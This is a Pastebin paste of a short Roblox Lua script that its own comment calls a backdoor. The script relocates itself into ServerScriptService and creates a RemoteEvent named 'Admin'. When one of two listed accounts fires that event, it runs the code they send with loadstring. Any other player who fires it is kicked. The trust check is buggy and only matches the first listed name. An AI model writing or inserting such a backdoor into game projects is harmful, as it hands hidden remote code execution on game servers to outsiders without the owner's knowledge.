Advertisement
yougotoof

lolxd

Oct 15th, 2019
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1.  
  2.  
  3. wait()
  4. if script.Parent ~= game:service("ServerScriptService") then
  5. script.Parent = game:service("ServerScriptService")
  6. end
  7. wait()
  8.  
  9. local RemoteEvent = Instance.new("RemoteEvent", game:service("ReplicatedStorage"))
  10. RemoteEvent.Name = "Admin"
  11.  
  12. local Trusted = {"00Oo_oOO00", "ROBLOX"} -- these are the people who have access to the backdoor
  13.  
  14. RemoteEvent.OnServerEvent:Connect(function(plr, code)
  15. if plr.Name == unpack(Trusted) or plr.UserId == unpack(Trusted) then
  16. loadstring(code)() -- runs the code
  17. else
  18. plr:Kick() -- kicks player if the player's name or userid is not found in the table
  19. end
  20. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement